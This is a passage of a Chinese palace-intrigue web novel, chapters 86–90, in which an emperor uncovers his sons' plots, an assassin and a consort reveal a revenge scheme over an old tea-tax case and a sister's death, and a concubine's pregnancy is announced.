“平日里你要在你府上养多少女人老子不稀得管!你要效仿老子,让民间百姓以为你在女人方面最像老子,老子也历来睁一只眼闭一只眼! 老子给你亲王之尊,给你俸禄,让你到六部当差!到头来你就是这么回报老子的! 灌了几碗黄汤就他娘的原形毕露了!装不下去了!作践人作践到朕的后宫来了! 还花柳病!想你老子死!想你娘死!你可真是朕的好儿子!真是你娘的好儿子!” 元隆帝怒不可遏。 骂完睿王,骂睿王妃。 “还有你!” “身为王妃不履正妻之责,规谏睿王迷途知返,反倒做起这等下三滥的勾当! 别人迫于生计沦落风尘,虽垢犹贞,你自甘下贱!承德侯的老脸都被你丢尽了!” 第86章 太子什么都知道! 睿王妃平日里当着裴皇后和元隆帝的面,最是长袖善舞,面面俱到。 很多时候她在裴皇后与元隆帝身上花的心思,比信王妃这个长嫂更像长嫂。 帝后也不止一次夸过她。 如今被元隆帝这么指着鼻子骂。 睿王妃畏惧天子之怒的同时,也头一回真切地感受到了什么叫无地自容。 也不明白事情怎么就变成了这样? 她与睿王要弄那小昭训,自然不尽是图快活,亦不可能暴露自己的行迹。 让众人知晓他们做了什么。 若不然,他们自己不就要受罚? 可没有这样的道理。 他们只是要利用那病。 结果没想到,他们明明都把那小昭训…… 睿王妃捂着被踢的地方,紧紧咬牙。 整个大殿都是元隆帝的雷霆咆哮,甚至一连串骂下来气儿都不带喘的。 其他几个儿子自然不能干看着。 骆峋率先劝道: “父皇息怒,睿王是否患有花柳之症有待查证,不若先请御医前来替睿王诊脉。 静妃娘娘道有黑衣人出没,事关前朝后廷安危,儿臣以为当即刻着人搜查捉拿。” 信王等人纷纷附和。 睿王被他老子一脚踹断了两根肋骨,眼前发黑,好不容易缓过来听到太子这番话,险些没给他气晕过去。 不过他也顾不上其他,忙跪地求饶。 “父皇息怒,父皇息怒!儿子的病也是遭人坑害,儿子也不知道为何是静妃娘娘,儿子是遭人构害,还请父皇明鉴!” 元隆帝气笑了。 “你不知道为何是静妃?那你原先打算逼奸谁?你想把你那身腌臜病染给谁?!” 睿王一抖,当即也知道说错话了。 可他不可能说实话。 即便清楚今晚之事乃太子给他设的局,他也绝不能让父皇知道自己为了让东宫蒙羞,让太子染病。 想方设法对太子的宠妾下手。 眼珠子一转,睿王看向信王。 “大哥,是你对不对?!是你设计暗害于我!” 信王本就因藏着事而心虚,听睿王把事情扣到自己头上,他不禁脸色大变。 “你休要胡说!我今日一整天都随太子在一处,阖宫上下皆可作证!我如何害你?!” “谁说害人定要亲自动手!” 睿王痛心疾首道。 “我的病从何而来,父皇不知旁人不知我不信你不知!若非你借我心腹之手送人于我,我如何会被染病!” 说着,他流出两行清泪来。 似是被伤透了心般对元隆帝哭诉。 “父皇明鉴,儿子贪色不假,可儿子从不曾行那等欺男霸女,寡廉鲜耻之事! 两个多月前大哥施计送人给我,害我折损一员心腹,害得我染了此等不齿之症! 我还当他为何那般行事,原是在今日挖了坑等着我跳!父皇明察秋毫,儿子斗胆请父皇做主,还儿子一个清白!” “父皇您别信他!他是在血口喷人!” 信王此人,因着是元隆帝的长子。 自出生起便被寄予厚望,但也大抵因为打小身上的担子过重,导致他反而文不成武不就,各方面都偏于平庸。 只不过,他结合了元隆帝和德妃的优势,生得俊雅出尘,又素来沉稳内敛。 孝悌忠信,颇具仁义之风。 加之其生母德妃乃金陵世家女。 所以早些年元隆帝刚登基,裴皇后还没怀太子时,不少人都觉得元隆帝很大可能会立他这个长子为储君。 后来中宫有喜,举朝欢庆。 再后来六皇子长成被立为太子,朝臣看似皆为社稷有继松了一口气。 实则暗地里支持信王、荣王、睿王等皇子的人却并非没有,毕竟自古以来皇权交迭都是谁笑到最后谁才是赢家。 而不是入住了东宫,就一定能坐上那个位置。 也因此。 这些年来信王一直还存着夺嫡之心,期间自然免不得和睿王斗上几个回合。 如今生死攸关。 听睿王硬将罪名扣到自己头上。 本就心虚的信王竟是连往日的风度都顾不得了,直接和睿王对骂了起来。 “你自己道貌岸然,荒淫无耻染了脏病却要赖到我头上,我倒想问证据呢?!你有何证据证明是我坑害的你! 再者静妃娘娘说了是你与睿王妃一同逼迫于她,你告诉我我要怎么才能做到同时控制你夫妻二人的言行?!” “还道你不行欺男霸女之事,简直笑话!” 睿王:“你!” “都给朕闭嘴!” 元隆帝转身抄起案桌上的茶盏掼在地上。 顿时,除了太子。 信王等人纷纷跪伏在地。 元隆帝恨铁不成钢地指着面前的一众儿子,喘着粗气:“好,好得很!你们……” 这时,殿中忽地响起一声轻笑。 竟是先前不管怎么审讯都不曾开口的刺客,不知因何突然笑出了声。 元隆帝瞪他:“你笑什么?” “我笑你老糊涂,笑你自以为是。” 北镇抚司掌刑的人立时要让其闭嘴,被元隆帝抬手制止了:“让他说!” 刺客竟就真说了。 “自以为是,以为坐在龙椅上就能天下之事皆为你掌控,以为下面人高呼几声万岁英明你就真的英明了。 可惜,欲明明德于天下者先治其国,欲治其国者,先齐其家,齐家不善谈何治国,若往后之国君都是你这样的。” “大靖,必亡!” “放肆!”秦维翰怒喝。 掌刑的人扬鞭狠甩在那人身上。 那人再次被打得皮开肉绽,却是没有半句求饶,只忽然看向不远处的静妃。 “你……真让那畜生糟践了?” 静妃跪在元隆帝脚边,不知何时止住了泪,神情漠然丝毫不见刚刚的凄厉。 听那刺客问起,她闭上了眼。 她起初确实有意让睿王得逞,左右都是要死,身子的清白又算得了什么。 但太子不允。 也不知他使了什么手段,让睿王夫妻误以为…… “嗯。” 静妃淡声应道。 看似毫不相干的两人一问一答之间竟透着几分熟稔,殿中的气氛诡异地一凝。 包括元隆帝和太子在内。 所有人的脸色都为之一变,其中又以信王、荣王、睿王的脸色最难看。 那刺客则面露苦笑。 “也罢,你我进宫之初便已将生死置之度外,横竖一死,什么死法不重要。” 说完,不等元隆帝质问他和静妃的关系。 那人便看着元隆帝,道:“你不是想知道我是受何人指使的么?我现在告诉你。” “我与静妃乃姐弟,我二人进宫,为的是报仇,而将我二人安排进宫,安排到你身边的,正是你的好儿子。” “信王、荣王、睿王,他们都有份。” “想不到吧?” 何止是想不到! 简直匪夷所思! 信王、睿王面色煞白。 一副没想到刺客竟就这么把自己供出来的惊诧模样,同时还面面相觑。 像是都没料到这事居然还跟其他两个有关似的,脸上难掩惊疑之态。 唯独荣王。 经过最初的慌乱后,认命般垂下了头。 “竖子休得信口雌黄!” 睿王反应过来,对那刺客怒道。 “你道是本王将你二人安插入宫,按理你二人便该是本王的人才对,那如何又有静妃控告本王逼迫她一事?!” 说着,他转向元隆帝。 “父皇,这贼人所言自相矛盾,分明就是有人要栽赃陷害儿臣!请父皇明鉴!” 睿王妃这会儿终于缓过气来了。 也膝行过来请父皇明鉴。 确实。 如果静妃和这刺客是睿王的人。 那么睿王和睿王妃怎可能对静妃做出逼迫之事呢?又怎可能在逼迫静妃的同时还让刺客行刺元隆帝呢? 说不通。 这事怎么都像是有人针对睿王做的一场局,且这人最有可能是信王。 毕竟两人一直都在掐,两个多月前信王还被睿王坑了,禁足期才满没多久。 但问题是,还牵扯到了荣王。 荣王从前的确和信王、睿王争锋相对。 但自打五年前荣王被前荣王妃毒害,坏了腿脚后,便算是彻底泯然于众。 荣王近两年在吏部任的也只是虚职,以彰显圣上隆恩,以文墨荣养亲王的恩典。 荣王没有理由闹这一出。 偏偏刺客指认了他。 同时将他三人拉下来,谁会是最大受益者? 元隆帝看向了太子。 这个他曾经最宠,最疼爱的儿子。 第87章 太子没有食言,“死不了!” 骆峋面不改色地迎上元隆帝审视的目光,并未多言,只轻唤了声“父皇”。 随即没等元隆帝开口。 那刺客咳出一滩血。 “说你老糊涂,你还真就糊涂上了,别人随口一句辩解就能把你耍得团团转。” 元隆帝:“你!” 静妃在这时睁眼。 猛地看向睿王夫妻,眼里恨意滔天。 “你说你怎么会逼迫我!我又怎么会指控你?!因为你从始至终都不知道我二人的仇人是你!是你们夫妻!” “我大姐被你们欺辱致死,你们这对狗男女哪来的脸说自己不行欺男霸女之事!” 睿王、睿王妃双双怔住。 见他二人明显已经忘了此事的模样,静妃猛地拔出头上的特制金簪扑过去! 若不是不想便宜了这对狗男女,方才在御花园她能直接要了他们的命! “啊——” 睿王一时躲闪不及,竟真被静妃刺中了肩头,立时发出一声凄厉惨嚎。 所幸锦衣卫及时按住静妃。 才没叫睿王再挨一簪。 静妃被锦衣卫死死按在地上,红着眼眶望向元隆帝,问道:“十五年前,蜀地雅州茶税一案,陛下可还记得?” 元隆帝一顿,旋即面色微变。 静妃看着他,笑出泪来。 蜀地雅州。 自大靖开国承担着全国大部分茶税。 及至英祖时期,国内经历了长达三年的旱灾,各地百姓流离失所,饿殍载道。 粮食都成活不了,更别说茶叶。 于是英祖下令,免了蜀地包括雅州在内的所有茶税,直至荒年过去的第十年。 蜀地才重新开始缴纳茶税。 也就是从这时候起,雅州这个地方承担的茶税是以往的将近十倍。 最初当地官府给雅州茶农的解释是,前些年他们没缴税,算作是欠了国家的税,从现在起他们得慢慢还。 雅州茶农对此深信不疑。 自此开始还起账来。 然后这一还,就是一百多年。 及至这个时候,早已无人提及雅州亏欠国家茶税一事了,雅州茶农也把这个税额当成了他们本来该缴的部分。 直到二十年前。 雅州一个叫作陈柏生的茶户偶然一次发现,雅州茶农还账这件事,竟是从英祖时期起就是有人在从中搞鬼! 陈柏生自己就是茶户,又生性正直,于是便想要朝廷还雅州茶农一个公道。 可时隔一百多年。 期间涉及到的利益不仅关系到各个阶层的官员,还有周边府县的乡绅百姓。 这不就是要断了某些人的财路? 断人财路,犹如杀人父母。 于是事情闹到十五年前,越闹越大。 彼时正值元隆帝打了一年多的仗回来,正是身心俱疲,修养伤病之时。 为避免这桩事演变为内乱,当时代为监国的信王和内阁,以及负责此案的刑部、都察院都催着让元隆帝决断。 元隆帝便按他们议的结果。 下了旨。 陈柏生最终成了这些利益党派博弈的牺牲品,陈家三族被流放苦寒之地。 直到两年后。 新任刑部尚书周敏礼无意间发现这起案子中的问题,两度提议重审此案。 元隆帝深思熟虑后同意。 并亲自重审此案。 这其中自然又牵涉到对各方的制衡。 总归最终,陈家得以平冤。 曾负责这起案件的信王和相关官员,及牵涉其中的得利者都受了该有的惩罚。 “陈家那时只剩了我姐弟三人,”提起父亲跟族人的死,静妃再度落泪。 “我们自是恨你,恨不得杀了你!可长姐说,杀了家父和族人的实非你一人。 说你是个好皇帝,说如果不是你承先帝志,惩奸佞,除贪官,镇外敌,我朝百姓早已深陷战乱之苦,民不聊生! 长姐教我姐弟放下仇恨,带我们来京城谋生,见识你是一个多么好的皇帝,结果?” 就是这个好皇帝的儿子儿媳。 设计强辱逼死了长姐! 静妃盯着元隆帝,哽咽道:“养不教父之过,新仇旧恨,别说你不知道这件事!” 元隆帝还真不知道。 大抵高门大户多的是睿王这种表面君子如玉,私下里荤素不忌的纨绔子弟。 当爹的一般都不怎么管。 元隆帝作为这天底下最大的高门大户里的爹,自然也有着这样的通病。 加上睿王着实有手段,元隆帝的眼线未必能将其的所有言行监察到。 所以睿王夫妻暗地里强辱陈家长女这件事,在当时并未引起任何波澜,消息亦未曾传到元隆帝的耳朵里。 但那时的陈家姐弟如何能知晓这些,他们便当是元隆帝刻意放纵睿王。 他二人也是心性坚韧。 他们没有选择潜伏到睿王府直接找睿王两口子报仇,而是选择从元隆帝入手。 他二人想的是。 如果,他们能侥幸杀了元隆帝。 那便算是替家父和族人报了仇,是时他们牵扯出睿王,睿王也逃不掉! 退一万步,他们杀不了元隆帝。 他们照样可以把弑君的罪名扣到睿王头上,如此,便算是为长姐报了仇。 他们也不亏。 可两个完全没有背景的人想要混到皇帝身边,还真不是想怎样就怎样。 所以这事儿就牵扯到了信王、荣王和睿王,俱因早年他们仨一直在掐。 荣王给陈家姐弟搞了假身份想给信王下套,因信王负责了茶税一案。 信王则想借陈家姐弟给睿王使绊子,缘因他放在睿王府的眼线向他透露了睿王夫妻欺辱陈家长女之事。 睿王呢。 他起初并不知晓陈家长女的真实身份。 后面因信王和荣王的插手,他更没有查清被他欺辱的女子和陈家姐弟的关系。 只知道静妃和小太监是陈家的人,于是睿王把他俩当成了设计太子的一环。 谁叫刑部尚书周敏礼是康国公举荐的人,利用他就可将太子牵扯进来。 而往皇帝近前安插人的皇子,历朝历代还真不少见,皇帝就算有一千只眼,也难免有疏漏的时候。 这也就导致静妃姐弟在宫中潜伏多年,元隆帝竟真让他们蒙在了鼓里。 而静妃起初是打算趁侍寝时下手的,奈何后宫普通妃嫔侍寝时规矩严格。 她根本无从下手。 于是一拖再拖。 尽管静妃不想承认,但随着她在宫中待得越久,她对元隆帝的了解也越深刻。 当初长姐说他是个好皇帝的话便总在不经意间,一遍遍回荡在她耳边。 此时,静妃声音嘶哑: “你是好皇帝与否,后人自有论断,我做不到为一己之私断送我大靖百年基业,但是睿王,睿王妃这对畜生!” “逼奸后妃是事实,明知我姐弟与你有仇,却将我二人安插入宫也是事实!我那儿有证据,你大可叫人去搜!” “陛下……” “您不会忍的……对吗?” 最后一句,静妃的声音忽然变得很轻,眼神里似有恨有不甘,又像似充满决绝。 元隆帝何止不会忍,他现在只觉胸腔里蹿着一把火,烧得他整个人都要炸了! 不仅仅因为睿王夫妻。 还因为信王、荣王! 他二人也是早就知晓静妃和这刺客的关系,却仍把两人放到了他身边。 这是都不顾老子的死活。 都想弑君啊! 还有太子。 今晚之事看似与太子无关。 可事实真就如此吗? 他这个皇帝老子若有什么三长两短,太子便能顺理成章地坐上那个位置。 按理,太子是最有嫌的。 信王、荣王、睿王即便得逞,他们前面也始终有太子挡着,他们捞不到什么。 然问题在于。 太子心思缜密,历来行事周到严谨。 他若有意对他老子下手,就不会栽赃陷害到一半出现刺杀未遂这等意外。 很难不让人怀疑。 今晚的刺杀与睿王夫妻之事实则是信王、荣王、睿王为了把太子拉下马而或联手、或自导自演做的局! 元隆帝负在身后的手成拳,审视的目光一一从他的这几个儿子身上扫过。 这些平日里视他为天的儿子们,这些在他面前屁都不敢放一个的儿子们! 这时,荣王伏地叩首。 “儿臣有罪,请父皇降罪。” 信王瞪大眼。 随即对上元隆帝锐利威严的眼睛,他认清事实般塌了腰,伏地磕头。 睿王捂着肩,满手血。 也不知是失血过多还是别的什么,他身子摇摇晃晃,最后两眼一翻栽倒在地。 周身的剧痛让睿王妃抖若筛糠,她僵硬地支着脖子,哆嗦着去观察元隆帝。 谁知刚一抬眼。 对上了另一双眼底好似空无一物,却又像是充满厌恶及杀意的冷眸。 睿王妃的呼吸一滞,几欲窒息。 一个可怖的念头升起。 太子知道。 太子什么都知道! 第88章 太子回来了,“姜侧妃栽进恭桶糊了一身!” 奉天殿的晚宴上先是元隆帝离席,紧接着太子、慎王、宣王一同离席。 简王与信王世子亦不知为何面色难看地一去不返,再之后信王、荣王也悄无声息地不见了踪影。 且几人皆迟迟未归也就罢。 北镇抚司的秦维翰还被人叫走了,如此异举,再粗心的人也意识到是出事了。 但至于出的什么事。 在场之人一时无人敢猜,等到禁军将奉天殿团团围住,众人更是讳莫如深。 时间一点点流逝。 整个奉天殿一派沉寂,唯有场中还未撤下的珍馐美馔及佳酿,显示着不久前此处正在举行一场盛宴。 男客这边气氛沉凝。 御花园女眷席这边也不遑多让。 槛儿与姜侧妃的相继离席,起初并未引起除裴皇后以外的其他人的注意。 众人谈笑的谈笑,赏乐的赏乐。 直到睿王妃也跟着离席了有一刻钟左右,郑明芷和曹良媛才先后想起槛儿。 不过,大抵二人心中都或多或少存了些小心思,所以谁也没有提起槛儿。 便当什么都不知道。 宣王妃发现姜侧妃离开过久,但因瑜姐儿和慎王家的二郡主、荣王家的小公子撒娇着要去外面玩。 被打了岔。 宣王妃的注意力重新回到女儿身上,随后就跟荣王妃、慎王妃请示了裴皇后,带着孩子们出水榭玩去了。 如是又过了近两刻钟,乾元殿来人叫走了裴皇后,跟着御花园就被禁军围住了。 众人花容失色。 好在大伙儿平时都是修养极好的人,又见识远超常人,加上有太子妃和信王妃在,倒是没出什么乱子。 只大伙儿都知道宫里这是出大事了。 心中难免惶惶不安,再没有说话的心思,御花园这边一时便也静得厉害。 “太子妃,宋昭训……” 曹良媛环视一圈,在郑明芷身侧小声道。 郑明芷这会儿也很不安。 众人被严禁进出。 结合裴皇后被乾元殿的人叫走,郑明芷立马猜测是前朝出事了,且还是大事。 这时候她哪有心情管一个小妾啊。 所以听曹良媛提起槛儿。 郑明芷心里的不安顿时转变为对槛儿的怒意,没好气低声道:“死不了!” 哪怕知道她平时在外的以端庄宽和都是装出来的,这会儿突然听她这么恶声恶气,曹良媛也还是愣了愣。 郑明芷也意识到了自己的失态。 不想被其他人注意到她们这边的动静,她随口补了一句:“娘娘方才叫人出去找她了,应是没什么事。” 心里则想,那小蹄子最好是没给东宫招祸,若不然她要她吃不了兜着走! 曹良媛扯扯嘴角。 “还好吗?” 同一时间,琼苑左轩的暖阁内,见跳珠和银竹从内室出来,槛儿轻声问。 跳珠:“主子放心,奴婢好着呢!” 说着,哐哐拍了两下胸脯。 可惜她胸口刚挨了黑衣人一铁脚,才揉了药,这一拍差点没给自己拍吐血。 槛儿哭笑不得,起身给她顺气儿。 又看向银竹。 银竹笑道:“奴婢无碍,主子不必担心。” 槛儿点点头,让她和跳珠都坐下。 瑜姐儿落水的确是个幌子。 但事关几位皇子和太子之间的争斗,当着跳珠的面槛儿不好问得太细致。 也不好说她们在关键时刻被人接走前,她和太子短暂地见过一面。 没错,接走。 当时正值紧要关头,槛儿被人捂住嘴的第一反应就是拼了命攥紧金簪反击。 她一直记着太子昨晚说的那句“孤不会让你有事”,但真到了时候槛儿还是抱着自救的决心,甚至必死的决心。 幸好,太子没有食言。 虽然他们只是短暂碰了一个面,甚至连句话都没说,但太子抱住她的那一瞬,槛儿不得不承认自己狠松了一口气。 但当时时间紧迫。 她只来得及看清一道有些眼熟的女子身影,从假山石洞里走出来。 之后槛儿便被太子身后两名几乎与夜色融为一体的人,带到了离水榭不远的琼苑。 此处已有太医候着。 太医为她诊完脉,确认腹中胎儿无事时,银竹和跳珠被两名太监扛了回来。 至于那三个黑衣人太子如何处置的,那个地方之后又发生了什么,以及具体是哪个皇子要对东宫下手。 槛儿就一无所知了。 等银竹她们坐下,槛儿先问跳珠:“知道今晚发生了什么,我们遇上了什么事吗?” 跳珠一怔,心说主子问她这个做什么,今晚她们不是一直都在一块儿吗? 正疑惑着。 跳珠对上了自家昭训主儿温柔又不失庄肃犀利的眼神,心头蓦地一紧。 她忙跪下道:“奴婢陪昭训主儿去了堆秀山小院,回水榭时在路上多赏了一刻钟的景,并不曾遇见什么事。” 槛儿轻轻露出笑来,弯腰将人扶起来:“之后若是有人问你,记得就这么答。” 跳珠郑重应下。 槛儿又问银竹:“我这边的消息确定没有走漏?” 银竹知道她指的什么。 如实答:“爷没向奴婢提及此事,只交代奴婢保护好您,不过,奴婢和他们交手时有观察,对方的目标不是。” 她没说明,但槛儿懂。 银竹继续道:“消息应该并未走漏,且如有走漏,爷会提点奴婢加强防范。” 说到这,银竹突然顿了一下。 似有些欲言又止。 槛儿柔声道:“有什么话就说。” 银竹挠挠额头。 压低了声音斟酌道:“昨日之前爷并不知对方的目标是您,且今晚除了奴婢还有人在暗中负责您的安全。” 槛儿明白了。 银竹是怕她觉得,是太子故意拿她引蛇出洞,没把她和腹中的孩子当回事。 担心她对太子寒心,或是闹脾气。 槛儿忍不住失笑。 如果此时的她真是十五六岁的小姑娘,或许可能还会因为太子的算计而生出些小女儿家的各种心路历程。 但问题是,她不是。 自己现在虽与太子的关系近了不少,但以那人严谨的行事风格来说,他们远还没有到他将涉及前朝的计划,事无巨细地告知她的地步。 行大事者当不拘小节。 你死我亡的生死局,谈何儿女情长。 他若真动辄将涉及前朝的事告诉一个亲近不到三个月的侍妾,槛儿才该担心太子是否能守住现在的位置。 他能在昨晚提点她,能把银竹安排在她身边保护她,能在那般紧要的时刻冒着被发现的风险现身安抚她。 能保她与孩子安全无虞。 其他的,槛儿无所谓。 太子不愿让她知晓的事,她也不会多问。 毕竟,在他与外人眼里。 她就是一个真正的小姑娘。 “我知道了,此事你们谁都不要声张,”槛儿假装思考了片刻,小声道。 银竹见她似乎真没多想,放了心。 转眼看跳珠在揉胸口。 银竹咳了咳,“我知道一种对减轻疼痛很有效的手法,我帮你揉吧。” 她是假装被对方击中的。 跳珠却是真正挨了一脚,虽说她已经在关键时刻替跳珠承受了大半力道。 可毕竟是寻常女子。 跳珠自是不知道银竹的愧疚,闻言没有丝毫犹豫地侧了侧身让银竹帮她揉。 主仆仨都心照不宣地将不久前发生的事揭过,转而说起了别的话题。 正说着,院中响起一阵脚步声。 还伴随甲胄摩擦之声。 银竹率先出去,槛儿带着跳珠随后。 走到门口一看。 荣王妃、慎王妃和宣王妃带着各自的孩子由几名禁军护送着朝正房这边走来。 另有数名禁军迅速在院中各个位置站定,大门口亦有多名禁军把守。 银竹很快折身回来,对槛儿小声道:“主子,即刻起琼苑严禁人员进出。” 第89章 青天白日的吻,姜侧妃:我不干净了呜呜呜 上辈子今年的万寿节没出什么乱子,这辈子事情发展轨迹有异,槛儿早有心理准备。 但闹得这么大,终归还是始料未及的。 上辈子太子前期一直很稳健,直到经历了幽禁,这辈子居然这么早就…… 定定神,槛儿稳住心绪。 下台阶对来的三位王妃行了礼。 宣王妃等人是在水榭外逛园子时,被突然来的禁军拦下给护送过来的。 三人的脸色都不怎么好看,想来也是担心前朝发生了什么,担心自家王爷。 荣王妃领着自家幺子先一步进屋。 慎王妃紧随其后。 宣王妃从乳母手中接过瑜姐儿,一面进屋一面撑起笑:“许是出了什么事,园子暂不能逛了,我们来此歇歇脚。” 槛儿将人迎了进去。 三位超一品的亲王妃并两位亲王郡主,以及一位皇孙聚在一起,在没有裴皇后或太子妃在场的情况下。 槛儿不能同她们坐一起。 但她怀着身子,又有太子提前交代,琼苑的宫人便寻了由头请槛儿移步耳房。 就在这时,院门口又一阵骚动,却是四个太监抬着一架舁床直奔西侧殿。 一个小宫女匆匆跑来正房。 对宣王妃跪禀道:“姜侧妃娘娘出恭时不慎栽进了恭桶,把脚扭伤了!” 宣王妃:“……” 荣王妃、慎王妃:“……” 小宫女:“侧妃娘娘身上也不大好。” “怎么个不大好法?”宣王妃问。 小宫女支支吾吾。 “就、就是……奴婢怕腌臜了主子们。” 宣王妃几人一愣,随即懂了。 “……” 虽然这么做很不厚道。 但原本神情沉凝的荣王妃和慎王妃都选择默默偏过头,掩了掩嘴角。 槛儿轻垂着眼,只作什么也没听见。 宣王妃扶了扶额,吩咐屋里的宫人去请在这边值守的太医给姜侧妃诊治。 又问那小宫女:“既是出恭时摔的,怎的现在才将人送来?” 如姜侧妃老早就离席出了水榭,这都过去快小半个时辰了,出恭能这么久? 小宫女就说姜侧妃摔晕了,但因着恭房里一直没声儿,外头值夜的人就以为姜侧妃今儿不顺畅,等了好一会儿。 等大伙儿意识到不对劲后进去找人,就见姜侧妃身上很不好,处理了好久。 宣王妃:“……” 宣王妃实在不敢想姜侧妃身上有多不好,摆摆手随口将小宫女打发了。 槛儿没再久留,去了耳房。 这地方到底不便,槛儿只简单洗了洗手和脸便到临窗的榻上靠着了。 跳珠银竹身上有伤,槛儿也没让她们站着,就和她一道靠在软榻上歇着。 睡是睡不着的。 主仆仨时而说说话,时而望着院里出神。 直到寅时过半,院中响起一阵整齐的脚步声,其间再度夹杂着甲胄摩擦声。 槛儿坐起身。 就见院子里的禁军撤了。 不多时,一道熟悉的身影出现在院里。 槛儿的心总算落回了实处。 下了榻还没走到门口,太子跨进了门槛。 槛儿本能地往后一退。 “当心些。” 男人长臂一伸,扶住她的肩。 槛儿抓着太子的手臂。 借一旁的落地纱灯细细打量着他。 骆峋安抚地摸摸她的发髻,沉声道:“没事了,随孤回东宫,有话回去再说。” 槛儿点头。 二人准备去正殿同宣王妃,和刚刚随太子过来的宣王打声招呼便走。 然而从耳房出来。 不知今晚心绪不宁累到了,还是别的,槛儿刚朝台阶迈出一步,眼前突然一黑。 黎明时分,天际将亮未亮。 厚重肃穆的宫墙之下。 一个个禁军仿若一座座石雕也似一动不动。 朦胧的晨光模糊了他们的面容,光影交错间那一张张冷肃的面容乍一眼透着几分令人毛骨悚然的诡异。 乾元殿,后寝殿。 全仕财悄无声息地入内。 对坐在罗汉床上的元隆帝低声禀道:“陛下,静妃娘娘……庶人陈明芜择了鸩酒,寅时六刻,上路了。” 元隆帝身上还穿着昨晚宴席上的龙袍,双腿盘坐,透过琉璃窗望着外面。 全仕财犹豫了一下,硬着头皮道:“庶人陈明芜,有话想对陛下说。” 元隆帝眼皮子都没撩一下。 “说。” 全仕财:“十四皇子乃陛下亲生,望陛下念在骨肉至亲的份上,留其一命。” “罪妇,感激不尽。” 话音落下,屋中再度恢复沉寂。 良久。 元隆帝倏地一笑。 “感激不尽?朕杀了她爹,流放了她族人近百口,朕的好儿子辱了她长姐。 她那弟弟不久前就死在朕面前,朕如此待她,她还能对朕感激不尽?” 全仕财低着头,不知怎么接话。 十五年前的那桩案子算起来确实不是元隆帝一人之责,可最终下圣旨的是他,要说完全与他无关又不尽然。 且睿王的德行元隆帝清楚。 但他几乎不曾过问过儿子们的后宅之事。 一来他这个皇帝的确忙,收复失地,固边强戍,惩贪治腐,充盈国库,通商惠工等等。 哪一样都要他。 他能抽空检查儿子们的学业武艺已是极限,男女相关之事他是真没时间。 二来也是他自觉威重令行。 觉得即便哪个儿子私德有亏,也断不敢在他眼皮子底下行欺男霸女之事。 谁曾想…… 那陈家小子所言,倒也不无道理。 元隆帝冷嗤一声。 又沉默了片刻,他看向全仕财,“你觉得,今晚的事当真与太子无关?” 全仕财哪知道呢,也不敢直接答。 不过他与元隆帝是打小的情分,有些话倒也能说:“太子从小懂事,三岁就知道在您跟前侍疾,为您暖脚。 您那年出征,太子日夜对天祈祷,盼天佑我大靖,如此您便能不用那么辛苦了。 老奴是个阉人,不懂儿孙绕膝的天伦之乐,只每每见太子与您在一起,老奴总会忍不住想抹泪,老奴……” 元隆帝:“也就是你觉得太子和此事没关系!” 全仕财:“……” 全仕财吸吸鼻子:“奴才可没这么说,奴才只是觉得殿下是您带大的,殿下品性如何谁又能有您清楚呢。” 元隆帝:“……” 是啊。 太子是他带大的。 那么多孩子,唯独太子是他手把手教出来的。 因为是他和发妻的儿子,因为小家伙出生之际天降异象,被他奉为吉兆。 也因为,他最像他! 元隆帝扪心自问。 太子是他最满意的儿子。 可大抵是年纪大了,近几年他时不时便会想起先帝,想起自己的父皇。 想到父皇在他这个年纪时,他们底下的这些个兄弟也都是在勾心斗角。 元隆帝不知父皇当时看着他们这些儿子们,为他屁股底下的那把龙椅争得头破血流时,是何等感受。 反正他看着太子一日日长成,一年比一年有出息,他总觉得自己身后有人在追着他索命,盼着他早死。 天家无父子。 古往今来,弑父杀君,皇帝老子被亲儿子逼宫,被太子弑杀的先例还少? 皇帝再骁勇英明他也是人。 是人就会怕。 所以他借皇长孙把信王立起来,借魏贵妃把睿王立起来,其他几个不顶用,但也多多少少给了立身之本。 到头来。 大的那三个老早就不顾他这个爹的死活了! 而昨晚之事,太子真没插手? 不见得。 毕竟,最像他。 他不了解儿子,还能不了解自己? “呵。” 元隆帝轻笑了声,起身掸掸衣袍。 “替朕更衣吧。” 第90章 穿书vs重生,穿书女必胜! 槛儿醒来时已临近晌午,她意识恍恍惚惚,看到的不是自己屋里熟悉的帐顶。 也不是琼苑的耳房。 喉咙干得厉害,槛儿没忍住咳了咳。 一只大掌在她的额头上探了探,槛儿一扭头,对上男人清冷幽深的眸子。 “殿下……” “别乱动。” 骆峋扶着她的肩按住她,顺势在其腰后垫了个靠枕让她就这么靠到床头。 再端起床头案几上备好的温水,侧身坐到床沿,动作别扭地要喂槛儿喝水。 槛儿:“……” 她其实也没有虚弱到这个地步。 太子大可不必…… 等等! 难道是肚里的孩子出了什么意外?! 槛儿惊了一下。 顾不得张嘴喝水,难得有些慌神地摸到肚子上,“殿、殿下,难道是孩子……” 骆峋:“……” 他只是看她夜里受了惊,想着仔细些待她。 正要解释。 门外一阵隐隐环佩珠钗响由远及近,是裴皇后领着郑明芷和曹良媛来了。 骆峋起身放下茶碗。 再坐回榻前的凳子上,再在裴皇后等人进来时面无表情地站起来,一副他刚刚一直坐在那儿的模样。 槛儿:“……” 事情可能不是她想的那样。 孩子没事。 见人都进来了,槛儿打算下榻见礼,但刚有动作便被郑明芷上来给按住了。 “快别动,都有身子了,就是不讲究这些个虚礼娘娘与我也不会怪罪的。” 说着话,她的语气是前所未有的温柔,脸上的笑也是从未有过的明媚灿烂。 饶是熟知对方的秉性,槛儿的胳膊上也还是被激起了一层鸡皮疙瘩。 呃。 太子前晚还跟她说暂时不用到嘉荣堂报喜,这才隔了一天就能公开消息了? 脑子正飞速转着,侧目见站在裴皇后身侧的太子面无表情眨了一下眼。 很寻常的一个动作,加上他冷冰冰的神色,换做一般人还真不一定会注意到。 但槛儿懂了。 两人的眉眼官司仅在一瞬间,槛儿熟练地稳住心绪,迟疑地朝裴皇后看去。 这一番表现在郑明芷和曹良媛看来就是,她本人还不知道自己有了身子,一时听到这个好消息人都懵了。 且不提郑明芷心中如何想。 总归曹良媛是酸得牙都要掉了。 昨晚她们一众女眷在水榭被一群禁军团团围住,她们提心吊胆了大半宿。 好不容易禁军撤了,女眷们相继散了。 她和郑氏回了坤和宫。 岂料,姓宋的竟是被太子抱回来的! 还诊出了喜脉! 哪怕知道这是迟早的事,她也老早就有心理准备,可偏偏是昨晚那种情况。 曹良媛到现在都还觉得头顶天雷滚滚,偏有裴皇后在,她还不能表现出来。 “瞧瞧,宋妹妹都高兴坏了,真要恭喜妹妹了,太医说你有两个月的身孕了!” 槛儿借袖子遮掩往手背上掐了一把,眼眶立马一红,“娘娘,妾身……” 裴皇后余光瞥眼儿子,眼角抽了抽,随即坐到榻前笑着握住槛儿的手。 